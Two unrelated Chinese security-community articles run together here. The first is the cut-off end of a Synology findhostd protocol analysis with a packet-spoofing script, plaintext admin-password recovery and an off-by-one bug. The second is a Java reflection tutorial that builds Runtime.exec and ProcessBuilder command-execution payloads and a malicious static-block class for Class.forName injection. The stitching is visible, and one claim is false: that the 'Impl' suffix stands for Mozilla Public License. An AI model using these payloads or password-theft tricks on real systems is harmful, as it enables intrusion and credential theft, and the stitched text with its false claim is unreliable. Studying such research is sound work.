self.add_pkt_field(0xa6, '\x78\x00\x00\x00')
self.add_pkt_field(0x01, p32(0x1)) # packet type
# ...
self.add_pkt_field(0xb9, '\x00\x00\x00\x00\x00\x00\x00\x00')
self.add_pkt_field(0x7c, '00:50:56:c0:00:08')
self.build_send_packet()
def quick_conf(self):
self.clear_pkt_fields()
self.add_pkt_field(0xa4, '\x00\x00\x02\x01')
self.add_pkt_field(0xa6, '\x78\x00\x00\x00')
self.add_pkt_field(0x01, p32(0x4)) # packet type
self.add_pkt_field(0x20, p32(0x1)) # packet subtype
self.add_pkt_field(0x19, '00:11:32:8f:64:3b')
self.add_pkt_field(0x2a, 'BnvPxUcU5P1nE01UG07BTUen1XPPKPZX')
self.add_pkt_field(0x21, 'NAS_NEW')
# ...
self.add_pkt_field(0xb9, "\x00\x00\x00\x00\x00\x00\x00\x00")
# ...
self.add_pkt_field(0x7c, "00:50:56:c0:00:08")
self.build_send_packet()
# ...
if __name__ == "__main__":
ds_assistant = DSAssistantClient("ds_assistant")
ds_assistant.find_target_nas()
# ...
### 安全问题
**密码泄露**
前面提到，`pkt_id`字段表明对应数据的含义，如数据包类型、用户名、`mac`地址等。其中，`pkt_id`为`0x1`时对应的值表示整个数据包的类型，常见的数据包类型如下。其中，`netsetting`、`quickconf`和`memory
test`数据包中包含加密后的管理员密码信息，对应的`pkt_id`为`0x2a`。
以`quickconf`数据包为例，如上图所示。可以看到，`pkt_id`为`0x1`时对应的值为`0x4`，同时`pkt_id`为`0x2a`时对应的内容为`BnvPxUcU5P1nE01UG07BTUen1XPPKPZX`。通过逆向分析可知，函数`MatrixDecode()`用于对加密后的密码进行解密。因此，可以很容易地获取到管理员的明文密码。
~/DSM_DS3617xs_15284/hda1$ sudo chroot . ./call_export_func -d BnvPxUcU5P1nE01UG07BTUen1XPPKPZX
MatrixDecode(BnvPxUcU5P1nE01UG07BTUen1XPPKPZX) result: HITB2021AMS
由于`Synology
Assistant`和`findhostd`之间以广播的方式进行通信，且数据包以明文形式进行传输，在某些情形下，通过监听广播数据包，局域网内的用户可以很容易地获取到管理员的明文密码。
**密码窃取**
在对`findhostd`进行`fuzz`的过程中，注意到`Synology Assistant`中显示的`DiskStation`状态变为了`"Not
configured"`。难道是某些畸形数据包对`DiskStation`进行了重置？经过分析后发现，是由于某些数据包欺骗了`Synology
Assistant`：`DiskStation`是正常的，而`Synology Assistant`却认为其处于未配置状态。
通常情况下，管理员会选择通过`Synology Assistant`对设备进行重新配置，并设置之前用过的用户名和密码。此时，由于`Synology
Assistant`和`findhostd`之间以广播的方式进行通信，且数据包以明文形式进行传输，故密码泄露问题又出现了。因此，在某些情形下，通过发送特定的广播数据包，局域网内的用户可以欺骗管理员对`DiskStation`进行”重新配置”，通过监听局域网内的广播数据包，从而窃取管理员的明文密码。另外，即使`Synology
Assistant`和`DSM`版本都支持通信加密，由于向下兼容性，这种方式针对最新的版本仍然适用。
**null byte off-by-one**
这个问题同样也和`Synology Assistant`有关。在`fuzz`的过程中，发现`Synology
Assistant`中显示的一些内容比较奇怪。其中，`"%n"`、`"%x"`和`"%p"`等是针对`string`类型预置的一些`fuzz`元素。注意到，在`"Server
name"`中显示的内容除了`"%n"`之外，尾部还有一些额外的内容如`"00:11:32:8Fxxx"`，这些多余的内容对应的是`"MAC
address"`。正常情况下，`"MAC address"`对应的内容不会显示到`"Server name"`中。
通过对`6.1-15030`版本的`DSAssistant.exe`进行分析和调试，函数`sub_1272E10()`负责对`string`类型的数据进行处理，将其从接收的数据包中拷贝到对应的内部缓冲区。前面提到过，针对每个`pkt_id`项，都有一个对应的`offset`字段和`max_length`字段。当对应数据长度的大小正好为`max_length`时，额外的`'\x00'`在`(1)`处被追加到缓冲区末尾，而此时该`'\x00'`其实是写入了邻近缓冲区的起始处，从而造成`null
byte off-by-one`。
size_t __cdecl sub_1272E10(int a1, _BYTE *a2, int a3, int a4, size_t a5, int a6, int a7)
{
// ...
v7 = (unsigned __int8)*a2;
if ( (int)v7 > a3 - 1 )
return 0;
if ( !*a2 )
return 1;
if ( a5 < v7 )
return 0;
snprintf((char *)(a4 + a7 * a5), v7, "%s", a2 + 1); // 将string类型的数据拷贝到内部缓冲区的指定偏移处
*(_BYTE *)(v7 + a4) = 0; // (1) null byte off-by-one
return v7 + 1;
}
> The `_snprintf()` function formats and stores count or fewer characters and
> values (including a terminating null character that is always appended
> **unless count is zero or the formatted string length is greater than or
> equal to count characters** ) in buffer. // Windows
>
> The functions `snprintf()` and `vsnprintf()` **write at most size bytes
> (including the terminating null byte (‘\0’))** to str. // Linux
因此，对于某些在内部缓冲区中处于邻近的`pkt_id`(如`0x5b`和`0x5c`)，通过构造特殊的数据包，可以使得前一项内容末尾的`'\x00'`被下一项内容覆盖，从而可能会泄露邻近缓冲区中的内容。
pkt_id offset max_len
0000005a 00000000 00000aa8 00000080 00000000 00000000
0000005b 00000000 00000b28 00000080 00000000 00000000 <===
0000005c 00000000 00000ba8 00000004 00000000 00000000
## 小结
本文从局域网的视角出发，对群晖`NAS`设备上的`findhostd`服务进行了分析，包括`Synology
Assistant`与`findhostd`之间的通信机制、`syno_finder`协议格式的解析、协议`fuzzing`等。最后，分享了在其中发现的部分问题。
## 相关链接
* [Create Wireshark Dissector in Lua](https://cq674350529.github.io/2020/09/03/Create-Wireshark-Dissector-in-Lua/)
* [syno_finder](https://github.com/cq674350529/pocs_slides/tree/master/scripts/wireshark_plugins/syno_finder)
* [Kitty Fuzzing Framework](https://github.com/cisco-sas/kitty)
* [Synology-SA-19:38 Synology Assistant](https://www.synology.cn/zh-cn/security/advisory/Synology_SA_19_38) | 社区文章 |
# Java反射
### 前言
第一次迈入Java安全的领域 这种感觉又让我回想起了去年第一次开始学习php的时候 面对全新的语法 语言结构 又需要从零开始慢慢领悟 结合之前学习的经验
在刚刚接触一种语言之初 建立自己好的习惯 往往比解决某一个问题更重要 学习的过程将结合p牛的Java安全漫谈 以及网上的大小文章进行全面的领悟与理解
前路道阻且艰 尚需更加努力
### 类 函数 方法 对象
在学习Java之前 我们需要先确定一下 这几个概念的定义 虽然各类语言之间互通 但是我们还是需要在学习一门新的语言之前 做好充分的准备
#### 类
类在`java`中是用`class`关键字定义的一个结构，类中可以定义函数以及定义变量
#### 函数与方法
我们首先可以来借鉴一下 在python中的这两种概念的区分
定义函数时，我们是可以不设置形参的。
如果设置了形参，形参和实参是对应的，有多少形参，就需要传多少实参。
定义类的方法时，是必须至少设置一个形参的，并且在调用这个方法时，不需要传实参的。
其实 在Java中 也是差不多的道理 我们可以用实参和形参的存在 来区分二者
#### 对象
Java本身就是一门 面向对象编程的语言 对象自然是其中的主角 一切皆为对象 我们可以将其理解为 在内存中的一段代码块 当我们使用new创建了一个实体类后
java虚拟机就会在内存中开辟出一段内存空间 用来存放这个实体类
eg.
Person person = new Person("Jums",78,187);
代码中定义了Person 实体类 其别名叫做person 那么此时的person 就代表一个对象
### 反射的定义
反射的定义是指在程序的`运行状态`中，可以构造任意一个类的对象，可以了解任意一个对象所属的类，可以了解任意一个类的成员变量和方法，可以调用任意一个对象的属性和方法。
我们说的通俗一点
可以说是获取Class对象然后使用java.lang.reflect里提供的方法操作Class对象，Class与java.lang.reflect构成了java的反射技术。
反射是大多数语言中都必不可少的部分 对象可以通过反射获取他的类 类可以通过反射拿到所有方法 拿到的方法可以调用 总之 通过反射 我们可以将Java
这种静态语言 赋予动态特性
我们从这个定义中 我们就可以看出来 Java可以通过反射变得格外的灵活
#### 反射常用API
##### 获取反射中的Class对象
在反射中，要获取一个类或调用一个类的方法，我们首先需要获取到该类的 Class 对象。
在 Java API 中，获取 Class 类对象有三种方法：
**第一种，使用 Class.forName 静态方法。** 当你知道该类的全路径名时，你可以使用该方法获取 Class 类对象。
Class clz = Class.forName("java.lang.String");
**第二种，使用 .class 方法。**
这种方法只适合在编译前就知道操作的 Class。
Class clz = String.class;
**第三种，使用类对象的 getClass() 方法。**
String str = new String("Hello");
Class clz = str.getClass();
##### 通过反射创建类对象
通过反射创建类对象主要有两种方式：通过 Class 对象的 newInstance() 方法、通过 Constructor 对象的
newInstance() 方法。
第一种：通过 Class 对象的 newInstance() 方法。
Class clz = Apple.class;
Apple apple = (Apple)clz.newInstance();
第二种：通过 Constructor 对象的 newInstance() 方法
Class clz = Apple.class;
Constructor constructor = clz.getConstructor();
Apple apple = (Apple)constructor.newInstance();
通过 Constructor 对象创建类对象可以选择特定构造方法，而通过 Class
对象则只能使用默认的无参数构造方法。下面的代码就调用了一个有参数的构造方法进行了类对象的初始化。
Class clz = Apple.class;
Constructor constructor = clz.getConstructor(String.class, int.class);
Apple apple = (Apple)constructor.newInstance("红富士", 15);
##### 通过反射获取类属性、方法、构造器
我们通过 Class 对象的 getFields() 方法可以获取 Class 类的属性，但无法获取私有属性。
Class clz = Apple.class;
Field[] fields = clz.getFields();
for (Field field : fields) {
System.out.println(field.getName());
}
输出结果是：
price
而如果使用 Class 对象的 getDeclaredFields() 方法则可以获取包括私有属性在内的所有属性：
Class clz = Apple.class;
Field[] fields = clz.getDeclaredFields();
for (Field field : fields) {
System.out.println(field.getName());
}
输出结果是：
name
price
与获取类属性一样，当我们去获取类方法、类构造器时，如果要获取私有方法或私有构造器，则必须使用有 declared 关键字的方法。
我们可以通过一个简单的实例程序 来说明 反射的作用
public class Apple {
private int price;
public int getPrice() {
return price;
}
public void setPrice(int price) {
this.price = price;
}
public static void main(String[] args) throws Exception{
//正常的调用
Apple apple = new Apple();
apple.setPrice(5);
System.out.println("Apple Price:" + apple.getPrice());
//使用反射调用
Class clz = Class.forName("com.chenshuyi.api.Apple");
Method setPriceMethod = clz.getMethod("setPrice", int.class);
Constructor appleConstructor = clz.getConstructor();
Object appleObj = appleConstructor.newInstance();
setPriceMethod.invoke(appleObj, 14);
Method getPriceMethod = clz.getMethod("getPrice");
System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj));
}
}
上面的代码的输出结果是
Apple Price:5
Apple Price:14
所以 我们可以简单总结一下 我们通过反射获取一个对象的步骤
1.获取类的Class对象实例
Class clz = Class.forName("com.zhenai.api.Apple");
2.根据Class对象实例获取Constructor对象
Constructor appleConstructor = clz.getConstructor();
3.使用Constructor对象的newInstance方法获取反射类对象
Object appleObj = appleConstructor.newInstance();
而当我们要调用某一个方法 则需要通过下面的步骤
1.获取方法的Method对象
Method setPriceMethod = clz.getMethod("setPrice", int.class);
2.利用invoke方法调用方法
setPriceMethod.invoke(appleObj, 14);
其实 我们不免疑惑 上面的这些Class之类 是从什么地方来的呢 这便要介绍一下 java中一个至关重要的包 java.lang
#### java.lang
这其中 就包含着我们常用类 比如说Object Class 等等 而当我们使用这个包之下的类时 我们是不需要import导入的 这是一个默认导入的 包
我们简单介绍一下其中的几个类
##### 对象基类Object
Object，是java.lang的根类，也是所有类的超类 超类也就是 当我们的派生关键字 extends出现的时候 被继承的类称为超类 或者是基类 父类
派生出来的类 则为子类
其实 当父类 子类这种字眼出现的时候 我们就很好去理解了 而这里的超类 往往定义的都是公共部分 他们的子类才会具有更加丰富的功能
##### 类
Class，用来表示类和接口的类型。Class对象在类加载时由JVM调用类加载器中的defineClass方法自动构造。
ClassLoader，负责加载类。
Compiler，作为编译器的占位符，它不做任何事情，仅用来支持Java到本机代码的编译器及相关服务。
对这些知识有了基本的了解之后 我们才可以在理解的时候更加简单
#### 动态特性
那么 什么 叫动态特性呢 这是p牛在安全漫谈中提出的一个概念 p牛对他的解释是 一段代码 改变其中的变量 将会导致这段代码产生功能性的变化
举个例子 在php中 其本身就拥有很多动态特性 所以 我们就可以通过一句话木马 来执行各种功能 Java虽然做不到php那么灵活 但是
也是可以提供一些动态特性的
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
在上面 包含了几个极为重要的方法
获取类的方法 forName
实例化类对象的方法 newInstance
获取函数的方法 getMethod
执行函数的方法 invoke
我们在下面将分开介绍
### forName
forName是Class类中的一个static的成员方法 所有的Class对象都来自于Class类 所以 Class类中
定义的方法将适用于所有Class对象 Class.forName的调用 会返回一个对应类的Class对象 因此
当我们想要去获取一个正在运行的Class对象的相关属性时 我们就可以使用forName方法 获取对Class对象的引用
Class.forName 如果知道某个类的名字 想获取到这个类 就可以使用 forName 来获取
对于大部分人来说 第一次见到`class.forName(String className)` 的时候 应该是 在使用JDBC连接数据库的时候
import com.mysql.jdbc.Driver;
import java.sql.*;
public class JdbcDemo {
public static void main(String[] args) throws SQLException, ClassNotFoundException {
String url = "jdbc:mysql://127.0.0.1:3306/mydb";
String username = "root";
String password = "redhat";
Class.forName("com.mysql.jdbc.Driver"); //这里
Connection connection = DriverManager.getConnection(url, username, password);
String sql = "SELECT * FROM msg";
PreparedStatement prepareStatement = connection.prepareStatement(sql);
ResultSet resultSet = prepareStatement.executeQuery();
resultSet.next();
String address = resultSet.getString("address");
System.out.println(address);
}
}
这里通过 Class.forName 传入 com.mysql.jdbc.Driver 之后，就判断了连接的数据库为 mysql 数据库
forName有两个函数重载 （函数重载就是 可以在一个类中存在多个函数 函数名称相同 但是 参数列表不同
eg.假如你是个木工，我要让你制作桌子(返回值)。然后，我给了你紫檀木，你就可以制作一张紫檀桌子；我给了你黄花梨，你可以做黄花梨的桌子。这些不同材质的木料，就是参数。返回的都是桌子，但是具体使用哪个函数，就根据传入的木料不同来决定的。）
`Class forName(String name)`
`Class forName(String name, **boolean** initialize, ClassLoader loader)`
第一个 其实就是 我们常见的获取class的方式 可以理解为 第二种方式的一个封装
Class.forName(className)
//等于
Class.forname(className,true,currentLoader)
默认情况下 forName的第一个参数是类名 第二个参数是是否初始化 第三个参数 是ClassLoader
ClassLoader 是什么呢 就是一个加载器 告诉Java虚拟机 如何加载这个类 java默认的ClassLoader就是根据类名来加载类
这个类名是类的完整路径 eg.`java.lang.Runtime`
在上面的代码中 这里传入的类为com.mysql.jdbc.Driver 我们找到他的源码
public class Driver extends NonRegisteringDriver implements java.sql.Driver {
static {
try {
java.sql.DriverManager.registerDriver(new Driver());
} catch (SQLException E) {
throw new RuntimeException("Can't register driver!");
}
}
public Driver() throws SQLException {
// Required for Class.forName().newInstance()
}
}
这个类被初始化后 静态代码块的内容会被执行 也就是说 我们的 Class.forName
和直接写DriverManager.registerDriver(new Driver())是等价的
#### 获取类对象的其他函数
forName 并不是获取类的唯一途径 我们有如下三种方式 获取一个类 的对象 也就是 `java.lang.Class` 类的对象 ：
`obj.getClass()` 如果上下文存在某个类的实例obj 我们可以直接通过 `obj.getClass()` 来获取他的类
MyObject x;
Class c1 = x.getClass();
`Test.class` 如果 已经加载了某个类 只是想获取到他的`java.lang.Class`对象 那么直接拿他的class属性即可 这个过程
实际上不属于反射
Class cl1 = Manager.class;
Class cl2 = int.class;
Class cl3 = Double[].class;
最后一个 就是 上面我们讲到的Class.forName了
Class c2=Class.forName("MyObject");
#### 初始化
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
在上面是三种初始化的方式 那么 他们之间有什么区别呢
我们这里采用两种方法来输出一下
在类的实例化中 先调用的是static{} 其次是{} 最后是构造函数
类初始化中 仅调用static{} 而{}中的代码会放在构造函数的super()后面 但在 当前构造函数的前面
所以说 forName 中的initialize=true其实就是告诉 Java虚拟机是否实行类初始化
那么 当我们在加上父类的情况下 顺序又应该如何呢
具有父类的类的实例化：父类静态初始块->子类静态初始块->父类初始块->父类构造函数->子类初始块->子类构造函数
具有父类的类的初始化：父类静态初始块->子类静态初始块
而在此处我们 提到了几个概念 在这里直接说明一下
##### 非静态初始化块（构造代码块）
其 **作用** 就是 给对象进行初始化 对象已建立就运行 且优先于构造函数的运行
**与构造函数的区别** 非静态初始化块给所有对象进行统一的初始化 而构造函数 只会给对应对象进行初始化
**应用：** 将所有构造函数共性的东西定义在构造代码块中。
* 对于普通的类而言，可以放在初始化块中的初始化工作其实完全可以放到构造函数中进行，只不过有时会带来些许不便，如有多个构造器，就要在多个地方加上初始化函数完成初始化工作，而如果放到初始化块中的话则只要写一次即可。
* 初始化块真正体现其独一无二的作用是在匿名内部类中。
* 由于是匿名内部类，因而无法写构造方法，但是很多时候还是要完成相应的初始化工作，这时就需要用到初始化块了，特别是Android中大量地使用匿名内部类，初始化块的作用就十分突出
##### 静态初始化块
**作用** 给类进行初始化 随着类的加载而执行 且只能执行一次
**与构造代码块的区别**
1）构造代码块用于初始化对象，每创建一个对象就会被执行一次；静态代码块用于初始化类，随着类的加载而执行，不管创建几个对象，都只执行一次。
2）静态代码块优先于构造代码块的执行
3）都定义在类中，一个带static关键字，一个不带static
eg.
static
{
Random generator = new Random();
nextId = generator.nextInt(10000);
}
在类中 用{}包裹 且前面有static关键词
##### 构造函数
1,构造函数就是一个普通的函数，创建方式和普通函数没有区别，
不同的是构造函数习惯上首字母大写.
2.构造函数和普通函数的区别就是调用方式的不同
普通函数是直接调用，而构造函数需要使用new关键字来调用.
##### 结论
1.类的初始化阶段，先执行最顶层的父类的静态初始化块，然后依次向下执行，直到执行当前类的静态初始化块
2.对象初始化阶段，先执行最顶层父类的初始化块，最顶层父类的构造器，然后依次向下，直到执行当前类的初始化块当前类的构造器。
3.当第二次创建对象时，由于这些类在第一次创建对象时已经被加载过了，因此静态初始化块只会执行一次。
#### 利用
假设存在这样一个函数，并且其中的参数 name 我们可控
public void ref(String name) throws Exception {
Class.forName(name);
}
那么我们就可以编写一个恶意类，利用初始化来执行我们编写的恶意类中的 static 块中的恶意代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
通过上面我们的研究 我们可以知道 当forName进行初始化的时候 会执行静态代码块中的代码 所以 如果将这个恶意类带入目标中 便可以 造成 恶意命令执行
#### forName 调用内部类
在正常情况下 除了系统类 如果 我们想要拿到一个类 需要先import才能使用 但是 使用 forName就不需要 这样 对于我们的攻击来说 就十分有利
我们可以加载任意类
另外 我们经常 在一些源码中可以看到 类名中包含$符号 比如 fastjson在checkAutoType的时候 会将$替换成.
$的作用是查找内部类
Java的普通类c1中支持编写内部类 c2 而在编译的时候 会生成 两个文件 c1.class 和 c1$c2.class 我们可以把它们看成两个无关的类
通过 `Class.forName("C1$C2")` 我们即可加载这个内部类
获得类之后 我们可以继续通过反射来获取这个类中的属性 方法 同时 也可以实例化这个类 并调用方法
### Class.newInstance
当然 这个方法就是 字如其名 比较好理解
在php的反序列化中 我们就常常使用new关键字来创建我们类的实例化 而这里也不例外 形式也十分相近
Object obj = new Object();
但是 与new不同的是 newInstance 并不是一个关键字 而是反射框架中类对象创建新的实例化对象的方法
在这个过程中，是先取了这个类的不带参数的构造方法，然后调用构造方法 也就是无参构造函数 的 newInstance 来创建对象
这个函数 还有一个同名函数 在Constructor类中 也有一个newInstance 但是 二者不同之处在于Class中的这个函数
只能调用无参的构造函数 也就是 默认的构造函数 但是在Constructor中的此函数 可以根据其传入的参数 调用任意的构造函数
前者调用的构造函数必须是可键的（public） 但是后者在setAccessible(true)的条件下 可以调用私有的构造函数
class.newInstance 的作用就是调用这个类的 无参构造函数 不过 我们有时候 在写漏洞利用方法的时候 会发现使用newInstance
总是不成功 这时候原因可能是
1. 你使用的类没有无参构造函数
2. 你使用的类构造函数 是私有的
这两个原因 也就是上面 我们将Class中的newInstance 与 Constructor中的相对比时 的不同之处
最最常见的情况就是java.lang.Runtime 这个类我们构造命令执行payload时很常见 但是我们并不能直接这样来执行命令
在安全漫谈中 p牛举了这样一个例子
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
会导致报错 原因是 Runtime类的构造方法 是私有 的
那么 为什么有的类的构造方法会是私有的呢 这便涉及到一个很常见的设计模式 单例模式
比如 对于一个Web应用来说 数据库连接 只需要建立一次 而并不需要每次用到数据库的时候 都去重新建立一个连接 此时 作为开发者
就可以将数据库连接使用的类的构造函数 设置为私有 然后 编写一个静态方法 来获取
public class TrainDB {
private static TrainDB instance = new TrainDB();
public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码...
}
}
这样 只有类初始化的时候 会执行一次构造函数 后面只能通过getInstance 来获取这个对象 避免建立多个数据库连接
我们这里的Runtime类 就是 单例模式 我们只能通过 Runtime.getRuntime() 来获取到Runtime对象
我们将上述payload修改一下就可以正常执行命令了
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),
"calc.exe");
这里用到`getMethod` 和 `invoke`方法
### getMethod
Method Class.getMethod(String name, Class<?>... parameterTypes)
第一个参数name 是要获得的方法的名字 第二个参数 parameterTypes 是按声明顺序标识该方法的形参类型
getMethod 的作用是 通过反射获取一个类的某个特定的公有方法 而且是通过Class实例获取所有Method信息 这些信息包含
1. getName() 返回方法的名称
2. getReturnType() 返回方法返回值类型 也是一个 Class实例比如 String.class
3. getParameterTypes()：返回方法的参数类型，是一个 Class 数组，例如：{String.class, int.class}；
4. getModifiers()：返回方法的修饰符，它是一个 int，不同的 bit 表示不同的含义
而Java中支持类的重载 我们不能仅通过函数名 来确定一个函数所以在调用getMethod 的时候 我们需要传给他你需要获取的函数的参数类型列表
比如 在Runtime.exec 方法中 有6个重载
我们使用第一个 仅有一个参数 类型是string 所以我们使用`getMethod("exec",string.class)`
来获取Runtime.exec 方法
### invoke
其属于Method类 作用就是对方法进行 调用 也比较好理解
`Object invoke(Object obj,Object...args)`，参数 obj 是实例化后的对象，args 为用于方法调用的参数
`invoke` 的作用是执行方法，它的第一个参数是：
如果这个方法是一个普通方法，那么第一个参数是类对象
如果这个方法是一个静态方法，那么第一个参数是类
这也比较好理解了 我们正常执行方法是`[1].method([2], [3], [4]...)` ，其实在反射里就是 `method.invoke([1],
[2], [3], [4]...)` 。
所以 我们将上述命令执行的payload分解一下就是
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
### 遗留问题
在p牛的安全漫谈中 提出了这样的两个问题
如果一个类没有无参构造方法，也没有类似单例模式里的静态方法，我们怎样通过反射实例化该类呢？
如果一个方法或构造方法是私有方法，我们是否能执行它呢？
#### 问题一
一个类中 没有无参构造方法 也就无法使用我们上面的newInstance 同时没有静态方法 那么我们应该怎样 通过反射 来实例化该类呢
我们在这里需要用到一个新的反射方法 `getConstructor` 与前面的getMethod 类似 getConstructor
接收的参数是构造函数列表类型 因为构造函数也支持重载 所以 必须用参数列表类型才能确定唯一的一个构造函数
当我们获取到构造函数之后 我们使用newInstance来执行 比如 我们常用的另一种执行命令的方式 ProcessBuilder
我们使用反射来获取其构造函数 然后调用start()来执行命令
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
ProcessBuilder有两个构造函数
`public ProcessBuilder(List<String> command)`
`public ProcessBuilder(String... command)`
通过传入的参数 我们看出在上面就是用到了 第一个形式的构造函数 但是 在前面这个payload用到了Java中的强制类型转换 有时我们利用漏洞的时候
是没有这种语法的 所以在这里 我们仍需一步反射
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
通过getMethod 获取到start方法 然后 通过invoke执行 其第一个参数就是 ProcessBuilder Object了
package com.my.package3;
import java.util.Arrays;
import java.util.List;
public class Test2 {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
}
}
我们成功执行了第一个 构造函数 那么第二种构造函数 我们应该如何去执行呢
这又会涉及到Java中的可变长参数（varargs）了 正如其他语言一样 java中也支持可变长参数 什么叫可变长参数呢 就是当你定义函数的时候
不确定参数数量的时候 可以使用...这样的语法来表示 这个函数的参数个数是可变的
对于可变长参数 在其编译的时候 会被编译成一个数组 也就是说 下面的两种写法在底层代码中是等价的
public void hello(String[] names) {}
public void hello(String...names) {}
同时 当我们有一个数组想要传给hello函数 可以直接传参
String[] names = {"hello"，"world"};
hello(names);
那么对于反射来说 如果要获取的目标函数里包含可变长参数 其实我们认为他是数组即可
所以我们将字符串数组的类`String[].class` 传给getConstructor 获取ProcessBuilder的第二种构造函数
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
#### 问题二
当一个方法 或者 构造方法 是私有方法的时候 我们是否能执行它呢
这里就涉及到了`getDeclared` 系列的反射了 这里与普通的`getMethod` `getConstructor` 的区别是
`getMethod` 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
`getDeclaredMethod` 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私 有的方法，但从父类里继承来的就不包含了
getDeclaredMethod 的具体用法和 getMethod 类似， getDeclaredConstructor 的具体用法和
getConstructor 类似
### 深层解析
既然 我们上面研究了这么多Java中的反射 难免会有这样一个疑问 那就是 功能这么强大的反射 是怎样通过源码实现的呢
我们从JDK中的invoke方法 开始看起
class AccessibleObject implements AnnotatedElement {
boolean override;
//访问权限
public boolean isAccessible() {
return override;
}
}
//Method.class
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (!override) {
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
Class<?> caller = Reflection.getCallerClass();
checkAccess(caller, clazz, obj, modifiers);
}
}
MethodAccessor ma = methodAccessor; // read volatile
if (ma == null) {
ma = acquireMethodAccessor();
}
return ma.invoke(obj, args);
}
上面 便是invoke 在JDK中的源码
首先 该方法在第一步中 就进行了对于访问权限的判断也就是对于override的判断 并且从下面的代码中 我们可以看出
这也就是对应了其是否能忽略其对访问权限的控制 那么 当可以read volatile的时候 其中的MethodAccessor 又是什么呢
此处的MethodAccessor 是一个接口 定义了方法调用的具体操作 这也是我们进行反射时的关键步骤 而此处MethodAccessor
有三个具体的实现类
* sun.reflect.DelegatingMethodAccessorImpl
* sun.reflect.MethodAccessorImpl
* sun.reflect.NativeMethodAccessorImpl
那么就出现了一个问题 在最后`return ma.invoke(obj, args);` 中 到底调用的是哪个类中的invoke 方法呢 我们需要看一下
MethodAccessor对象返回的到底是哪一个类对象
接下来 我们分别看一下这三个类 都是怎么样的
sun.reflect.DelegatingMethodAccessorImpl
class DelegatingMethodAccessorImpl extends MethodAccessorImpl {
private MethodAccessorImpl delegate;
DelegatingMethodAccessorImpl(MethodAccessorImpl delegate) {
setDelegate(delegate);
}
public Object invoke(Object obj, Object[] args)
throws IllegalArgumentException, InvocationTargetException
{
return delegate.invoke(obj, args);
}
void setDelegate(MethodAccessorImpl delegate) {
this.delegate = delegate;
}
}
sun.reflect.NativeMethodAccessorImpl
class NativeMethodAccessorImpl extends MethodAccessorImpl {
private Method method;
private DelegatingMethodAccessorImpl parent;
private int numInvocations;
NativeMethodAccessorImpl(Method method) {
this.method = method;
}
public Object invoke(Object obj, Object[] args)
throws IllegalArgumentException, InvocationTargetException
{
if (++numInvocations > ReflectionFactory.inflationThreshold()) {
MethodAccessorImpl acc = (MethodAccessorImpl)
new MethodAccessorGenerator().
generateMethod(method.getDeclaringClass(),
method.getName(),
method.getParameterTypes(),
method.getReturnType(),
method.getExceptionTypes(),
method.getModifiers());
parent.setDelegate(acc);
}
return invoke0(method, obj, args);
}
void setParent(DelegatingMethodAccessorImpl parent) {
this.parent = parent;
}
private static native Object invoke0(Method m, Object obj, Object[] args);
}
sun.reflect.MethodAccessorImpl
abstract class MethodAccessorImpl extends MagicAccessorImpl
implements MethodAccessor {
public abstract Object invoke(Object obj, Object[] args)
throws IllegalArgumentException, InvocationTargetException;
}
这里在翻阅源码文档的时候 产生了一个疑问 就是这每个最后结尾的mpl是什么意思 经过查询之后 得知 其为Mozilla Public License
是一个相当于协议证明之类的概念
回归正题 经过上面三段代码阅读之后 我们再回过头去看ma.invoke()中的acquireMethodAccessor()方法
public MethodAccessor newMethodAccessor(Method paramMethod){
checkInitted();
if (noInflation) {
return new MethodAccessorGenerator().generateMethod(paramMethod.getDeclaringClass()， paramMethod.getName(),paramMethod.getParame
}
NativeMethodAccessorImpl localNativeMethodAccessorImpl = new NativeMethodAccessorImpl(paramMethod);
DelegatingMethodAccessorImpl localDelegatingMVethodAccessorImpl = new DelegatingMethodAccessorImpl(localNativeMethodccessorImpl);
localNativeMethodAccessorImpl.setParent(localDelegatingMethodAccessorImpl);
return localDelegatingMethodAccessorImpl;
}
在这其中
出现了上面的sun.reflect.NativeMethodAccessorImpl和sun.reflect.DelegatingMethodAccessorImpl
其中 是先生成了一个NativeMethodAccessorImpl对象 然后 让其作为参数
调用到DelegatingMethodAccessorImpl类的构造方法 所以
最后我们应该关注DelegatingMethodAccessorImpl类的相关代码
在进入这个类中以后 调用了delegate属性的invoke方法 其又有两个实现类 分别是DelegatingMethodAccessorImpl 和
NativeMethodAccessorImpl 在上面 我们也提到了 NativeMethodAccessorImpl 是参数 所以
我们这块代码最终就决定于NativeMethodAccessorImpl了
而在这个类中的invoke方法中 存在这样一段代码
if (++numInvocations > ReflectionFactory.inflationThreshold())
这个的作用 就是可以判断其调用的次数是否超出了阈值 超过的话就会重新生成一个对象 并将之前的delegate属性 重新指向这个新生成的对象
